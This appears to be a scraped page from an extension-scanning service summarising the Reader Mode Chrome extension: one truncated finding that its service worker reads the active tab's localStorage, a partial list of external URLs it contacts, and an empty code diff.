bg.js (line 32)Service worker injects a script via chrome.scripting.executeScript that serializes and reads the entire localStorage of the active tab. Although the dispatcher in Bg.tab only triggers this when the tab URL includes re…
URLs
49
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
readermode.io-https://readermode.io
readermode.io-https://readermode.io?ref=readermode#get-it-now
readermode.io/premiumhttps://readermode.io/premium?ref=readermode
impacthero.co-https://impacthero.co?ref=readermode
readermode.io/privacyhttps://readermode.io/privacy
readermode.io-https://readermode.io?ref=readermode
airtable.com/shrJZYDwevtCoqck5https://airtable.com/shrJZYDwevtCoqck5
twitter.com/readermodehttps://twitter.com/readermode
impacthero.co-https://impacthero.co
Showing 1 to 10 of 50 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 10 of 40 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.